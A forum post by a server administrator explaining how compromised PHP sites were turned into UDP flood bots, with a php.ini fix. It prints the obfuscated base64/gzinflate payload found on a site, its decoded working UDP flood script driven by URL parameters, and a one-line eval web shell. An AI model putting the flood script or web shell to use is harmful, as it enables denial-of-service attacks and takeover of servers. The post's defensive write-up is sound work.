本页主题: php使用UDP网络攻击占用超大带宽解决方案 打印 | 加为IE收藏 | 复制链接 | 收藏主题 | 上一主题 | 下一主题

Mike
群熵工程师
级别: 管理员


精华: 7
发帖: 951
威望: 714 点
金钱: 6601 RMB
贡献值: 0 点
好评度: 611 点
在线时间:1405(小时)
注册时间:2003-11-28
最后登录:2018-04-23

 php使用UDP网络攻击占用超大带宽解决方案

关于近期一些服务器遭受UDP攻击的说明
近来我有一两台服务器显示经常受到udp攻击
导致服务器带宽占用到100%,用华盾查流量占用也无法查到具体是哪个站被攻击了,起初以为是cc攻击,因为停止了iis带宽就为0了,其实不然,都是部分用户被入侵导致的
下面我想说一下被入侵的原理
用户程序中的一个php页面的原代码:
<?php
/*
gl

*/
eval(gzinflate(base64_decode(\'DZNHkqNIAADv85HpDg4tTGFidrYDCRBOOOEvG5gqrPBOvH77CRmZ+f3vP99DOfz6Bbek/SjOqkNtssCPNJkhTf2Xw6zP4cdvIbfUZlQ1XhQchHDF3z39Ldpx33Lk9Xm78dUoCHeKfilO46tqg21DiEg+BCTz9QW/GD+lMGtThrSmdSEMLbVkzvPt3s0UMS3mDx0WoG2nY+gB2L+fufDyzPU6gNJxAYSarbsanhimzJbUoqZuY0+lV4H6GZtDX9LxkE9L29swfGYibUTtUsoPqIRi7nFBpdmW0t5ECFWjzmfZe2xqERmtMLVpOqnY436BfrDxK10KYOfGAWN7s3geqB7RdV7WkxiBHZU4wyW0LXsmyTdcdwk3TOjduh1F8cyvsgYuaejeLi23csLONsqDsU3gx60zLlm5XQ9jqhbyq949qvb2Us1dqsAGpYvfG3IHY4TxaemBF2mKKY9StKJuDDHxfmI3z+eWa7OwlgvrxeB5Qz4AE2drfLAYmo6litZOUL1GxMlavOlDW8/OMb7ci13dLk1y9XDddGgA4onEBZ0vmx8aSWApy6q2JkpO0i8kg1qOx7EVPgEJNSOLyzZIW8ApDL+V0/0Fstph3qQI+1qQuCwxiZH1aaTMKJItxW5rmz4WyrGmOKCUtLvAU2dle3a85a0GJJQWOGX5AnHiILQpplJ9mdpdQsw9TybO4whCCMqjfgOuSJ+rRT+2Ok8rbc/oVd47v+J02tAy9fkMTP2u8HuUo1Ezp5F3XCMyL6ftJAkw+h+R1ljN0M0NYS/TXCpeY1tyOl7Awe8dP5ygq1VxAFoEKQD6EGdWsWMeBzSruEjIQeRbtgx0oRpw2CnKoxFs/KdiQauXc26QYtLSbeaxiAWLeq784jjWnubV2kpIarL4bMVgNxv+9QwM8j1FvNR1yGa9lVsF1hM63tSpymtn4k1QFEGLVowe93kyhxGbRpNXICoPk3oqbB6DL3chsJ4OwQk4FOIc2k4MQ3tKy/vfv78/Pz///Pr+Gfd/\')));
?>
经过N次解密后的代码:
<?php


$packets = 0;
$ip = $_GET[\'ip\'];
$rand = $_GET[\'port\'];
set_time_limit(0);
ignore_user_abort(FALSE);

$exec_time = $_GET[\'time\'];

$time = time();
print \"Flooded: $ip on port $rand <br><br>\";
$max_time = $time+$exec_time;


for($i=0;$i<65535;$i++){
$out .= \"X\";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}

$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\";
?>
<?php eval($_POST[ddos])?>
baidu了一下工作原理:
先把你代码放到一个正常的网页中.
通过url传递IP和端口以udp的方式打开.传递文件到服务器写出.
这样服务器就中招了.
也就是服务器显示udp攻击,带宽占用非常之严重,基本是100%,一般徘徊在97%-99%之间

解决方案:
在php.ini中限制php用网络。
在php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
然后重启IIS

顶端 Posted: 10-10-05 20:12 | [楼 主]
帖子浏览记录 版块浏览记录
群熵信息 - 技术讨论区 » 服务器相关技术

Total 0.016187(s) query 4, Time now is:10-23 02:48, Gzip enabled
Powered by PHPWind v6.3.2 Certificate Code © 2003-08 PHPWind.com Corporation

上海服务器租用 杭州世导双线服务器托管 云主机 VPS